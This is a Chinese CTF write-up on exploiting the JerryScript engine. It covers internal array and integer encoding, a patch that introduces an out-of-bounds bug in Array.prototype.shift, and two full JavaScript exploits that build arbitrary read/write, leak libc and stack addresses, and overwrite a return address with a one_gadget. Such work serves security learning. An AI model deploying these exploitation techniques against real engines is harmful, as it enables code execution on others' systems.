一些基础知识

数组表示

/jerry-core/ecma/base/ecma-globals.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
typedef struct
{
/** type : 4 bit : ecma_object_type_t or ecma_lexical_environment_type_t
depending on ECMA_OBJECT_FLAG_BUILT_IN_OR_LEXICAL_ENV
flags : 2 bit : ECMA_OBJECT_FLAG_BUILT_IN_OR_LEXICAL_ENV,
ECMA_OBJECT_FLAG_EXTENSIBLE or ECMA_OBJECT_FLAG_BLOCK
refs : 10 / 26 bit (max 1022 / 67108862) */
ecma_object_descriptor_t type_flags_refs;

/** next in the object chain maintained by the garbage collector */
jmem_cpointer_t gc_next_cp;

/** compressed pointer to property list or bound object */
union
{
jmem_cpointer_t property_list_cp; /**< compressed pointer to object's
* or declerative lexical environments's property list */
jmem_cpointer_t bound_object_cp; /**< compressed pointer to lexical environments's the bound object */
jmem_cpointer_t home_object_cp; /**< compressed pointer to lexical environments's the home object */
} u1;

/** object prototype or outer reference */
union
{
jmem_cpointer_t prototype_cp; /**< compressed pointer to the object's prototype */
jmem_cpointer_t outer_reference_cp; /**< compressed pointer to the lexical environments's outer reference */
} u2;
} ecma_object_t;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
typedef struct
{
ecma_object_t object; /**< object header */

/**
* Description of extra fields. These extra fields depend on the object type.
*/
union
{
...
struct
{
...
union
{
...
} u1;
/**
* Description of 16 bit extra fields. These extra fields depend on the type.
*/
union
{
...
} u2;
/**
* Description of 32 bit / value. These extra fields depend on the type.
*/
union
{
...
} u3;
} cls;

/**
* Description of function objects.
*/
struct
{
...
} function;

/**
* Description of array objects.
*/
struct
{
uint32_t length; /**< length property value */
uint32_t length_prop_and_hole_count; /**< length property attributes and number of array holes in
* a fast access mode array multiplied ECMA_FAST_ACCESS_HOLE_ONE */
} array;

/**
* Description of bound function object.
*/
struct
{
...
} bound_function;
...
} u;
} ecma_extended_object_t;
1
2
let a = [1,2,3,4,5,6,7,8]
print(a.length)

上述代码中描述了各种内置对象,所以省去了非array的部分代码

可以看到右上角的8记录了数组的size,下面存放着其中的元素,同时注意到这些数字都左移了四位存储(区别立即数)

v3pgfg.png

对应ecma_object_t结构体如下,其中
array->object.u1.property_list_cp:数组的存储区域
array->object.u2.prototype_cp:数组的原型所在位置
array->u.array.length:数组的长度

v39hCD.png

在另一个结构体ecma_extended_object_t部分如下,其中可以看到Length

v3kct0.png

property_list_cpprototype_cp 的值分为 0x5b0x55 ,而这能够确定一个数组的位置是因为在取值时会调用函数jmem_decompress_pointer进行转换

立即数

Array中,似乎所有的整数都向左位移了 4 位。这是 JerryScript用于区分和处理立即数的方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#define ECMA_INTEGER_NUMBER_MAX 0x7fffff
#define ECMA_DIRECT_SHIFT 4
#define ECMA_DIRECT_TYPE_INTEGER_VALUE 0

ecma_value_t
ecma_make_length_value (ecma_length_t number) /**< number to be encoded */
{
if (number <= ECMA_INTEGER_NUMBER_MAX)
{
return ecma_make_integer_value ((ecma_integer_value_t) number);
}

return ecma_create_float_number ((ecma_number_t) number);
}

extern inline ecma_value_t JERRY_ATTR_CONST JERRY_ATTR_ALWAYS_INLINE
ecma_make_integer_value (ecma_integer_value_t integer_value) /**< integer number to be encoded */
{
JERRY_ASSERT (ECMA_IS_INTEGER_NUMBER (integer_value));

return (((ecma_value_t) integer_value) << ECMA_DIRECT_SHIFT) | ECMA_DIRECT_TYPE_INTEGER_VALUE;
}

2022.9.18更:
有点久远了,不写细节了,反正就是调偏移

题目1

2021 深育杯

1
2
3
4
5
6
7
8
9
10
11
12
13
14
diff --git a/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c b/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c
index 52b84f89..57064139 100644
--- a/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c
+++ b/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c
@@ -729,7 +729,7 @@ ecma_builtin_array_prototype_object_shift (ecma_object_t *obj_p, /**< object */

buffer_p[len - 1] = ECMA_VALUE_UNDEFINED;
ecma_delete_fast_array_properties (obj_p, (uint32_t) (len - 1));
-
+ ecma_delete_fast_array_properties (obj_p, (uint32_t) (len - 2));
return ret_value;
}
}

ecma_builtin_array_prototype_object_shift对应Array.prototype.shift()方法,这里shift一次,无符号数减2,所以当len=1时执行shift会造成负溢出从而获得OOB

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
function printhex(s,u){
print(s,"0x" + u[1].toString(16).padStart(8, '0') + u[0].toString(16).padStart(8, '0'));
}

function hex(i){
return "0x" + i.toString(16).padStart(16, '0');
}

function pack64(u){
return u[0] + u[1] * 0x100000000;
}

function l32(data){
let result = 0;
for(let i=0;i<4;i++){
result <<= 8;
result |= data & 0xff;
data >>= 8;
}
return result;
}

let a = [1.1];
a.shift();
var ab = new ArrayBuffer(0x1337);
var dv = new DataView(ab);
dv.setUint32(0, 0x41414141, true);
dv.setUint32(4, 0x42424242, true);

var ab2 = new ArrayBuffer(0x1338);
var dv2 = new DataView(ab2);

var dv2 = new DataView(ab2);
for(let i = 0; i < 90; i++){
dv2 = new DataView(ab2);
}
a[391] = 0xffffff;
print("[+]change dv range");
var idx = 0;
for(let i = 0; i < 1000000; i ++){
}
for (let i = 1; i < 0xf000; i++){
let v = dv.getUint32(i, 1);
if(v == 0x1338){
idx = i;
}
}
print("Get idx!");

function arb_read(addr){
dv.setUint32(idx + 4, l32(addr[0]));
dv.setUint32(idx + 8, l32(addr[1]));
for(let i = 0; i < 1000000; i ++){
}
let result = new Uint32Array(2);
result[0] = dv2.getUint32(0, 1);
result[1] = dv2.getUint32(4, 1);
return result;
}

function arb_write(addr,val){
dv.setUint32(idx + 4, l32(addr[0]));
dv.setUint32(idx + 8, l32(addr[1]));
dv2.setUint32(0, l32(val[0]));
dv2.setUint32(4, l32(val[1]));
}

var u = new Uint32Array(2);
u[0] = dv.getUint32(idx + 4, 1);
u[1] = dv.getUint32(idx + 8, 1);
print(hex(pack64(u)));

var elf_base = new Uint32Array(2);
elf_base[0] = u[0]-0xca9b8;
elf_base[1] = u[1];
printhex("elf_base:",elf_base);

var free_got = new Uint32Array(2);
free_got[0] = elf_base[0] + 0xC6DD0-8;
free_got[1] = elf_base[1];
printhex("free_got:",free_got);
for(let i = 0; i < 10000000; i ++){
}
var libc_base = arb_read(free_got);
libc_base[0] -= 0x9a6d0;
printhex("libc_base:",libc_base);

var environ_addr = new Uint32Array(2);
environ_addr[0] = libc_base[0] + 0x229138-0x10;
environ_addr[1] = libc_base[1];
printhex("environ_addr:",environ_addr);
var stack_addr = arb_read(environ_addr);
stack_addr[0] -= 0x118;
printhex("stack_addr:",stack_addr);

var one_gadget = new Uint32Array(2);
one_gadget[0] = (libc_base[0] + 0xe3afe);
one_gadget[1] = libc_base[1];
arb_write(stack_addr,one_gadget);
printhex("one_gadget:",one_gadget);
var zero = new Uint32Array(2);
zero[0] = 0;
zero[1] = 0;
stack_addr[0] -= 0x29;
arb_write(stack_addr,zero);


print("finish")
for(let i = 0; i < 0xa00000; i++){
}

x9EkAH.png

题目2

(9.18补充)

xctf-hw jerry & tom

题目没给docker,libc为ubuntu18.04最新版,拉一个对应的docker并检查libc的shasum一致后进行解题

直接尝试就发现数组存在越界,相当于开局OOB。之后调试即可,本题有个诡异的地方在于直接修改主函数的返回地址会炸,所以考虑劫持其他函数的返回地址。比赛当天下午去考了个六级,最后是谢哥在0x13983处调用返回时调了一个栈迁移+onegadget,通过修改栈上一个值来改rbp栈迁移,然后再写onegadget。赛后又调了一下发现这里下面的返回地址是可以控制不会炸的,这里就贴没有栈迁移的exp了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
function printhex(s,u){
print(s,"0x" + u[1].toString(16).padStart(8, '0') + u[0].toString(16).padStart(8, '0'));

}

function hex(i){
return "0x" + i.toString(16).padStart(16, '0');
}

function pack64(u){
return u[0] + u[1] * 0x100000000;
}

function l32(data){
let result = 0;
for(let i=0;i<4;i++){
result <<= 8;
result |= data & 0xff;
data >>= 8;
}
return result;

}

var ab = new ArrayBuffer(10);
var dv = new DataView(ab);

var ab2 = new ArrayBuffer(0x1337);
var dv2 = new DataView(ab2);

let cnt=0;

var idx = 0;
for (let i = 1; i < 0x1000; i++){
let v = dv.getUint32(i, 1);
if(v == 0x1337){
if(cnt==1){

print("Get idx!");
idx = i;
print(idx)
break;

}
cnt+=1;
continue;
}
}

function arb_read(addr){
dv.setUint32(idx + 4, l32(addr[0]));
dv.setUint32(idx + 8, l32(addr[1]));
let result = new Uint32Array(2);
result[0] = dv2.getUint32(0, 1)
result[1] = dv2.getUint32(4, 1);
return result;
}

function arb_write(addr,val){
dv.setUint32(idx + 4, l32(addr[0]));
dv.setUint32(idx + 8, l32(addr[1]));
dv2.setUint32(0, l32(val[0]));
dv2.setUint32(4, l32(val[1]));
}

var u = new Uint32Array(2);
u[0] = dv.getUint32(idx + 4, 1);
u[1] = dv.getUint32(idx + 8, 1);

print(hex(pack64(u)));

var elf_base = new Uint32Array(2);
elf_base[0] = u[0] - 0x308738-0x248;
elf_base[1] = u[1];
printhex("elf_base:",elf_base);

var aassert_got = new Uint32Array(2);
aassert_got[0] = elf_base[0] + 0x306e80;
aassert_got[1] = elf_base[1];
printhex("aassert_got:",aassert_got);
for(let i =0;i<5;i++){}

var libc_base = arb_read(aassert_got);

printhex("putchar_got:",libc_base);
for(let i =0;i<5;i++){}

libc_base[0] -= 0x827c0;
printhex("libc_base:",libc_base);

var environ_addr = new Uint32Array(2);
environ_addr[0] = libc_base[0]+0x3ee088;
environ_addr[1] = libc_base[1];
printhex("environ_addr:",environ_addr);
for(let i=0;i<5;i++){}
var stack_addr = arb_read(environ_addr);

printhex("stack_addr:",stack_addr);
for(let i=0;i<5000000;i++){}
var one_gadget = new Uint32Array(2);
one_gadget[0] = (libc_base[0] + 0x4f302);
one_gadget[1] = libc_base[1];
printhex("one_gadget:",one_gadget);
var gadget = new Uint32Array(2);
gadget[0] = (libc_base[0] + 0x2164f);
gadget[1] = libc_base[1];
printhex("gadget:",gadget);
for(let i=0;i<5;i++){}
stack_addr[0] -= 0xf0;

printhex("target_write:",stack_addr)

var new_stack_addr=new Uint32Array(2);
new_stack_addr[1]=stack_addr[1];
new_stack_addr[0]=stack_addr[0]-0x150;

stack_addr[0] -= 0x110;
//arb_write(new_stack_addr, stack_addr);
stack_addr[0] -= 0x8;
arb_write(stack_addr, one_gadget);

for(let i=0;i<0x100000;i++){

}

for(let i=0;i<0xfffff;i++){

}
for(let i=0;i<0xfffff;i++){

}
for(let i=0;i<0xfffff;i++){

}

x9Enjf.png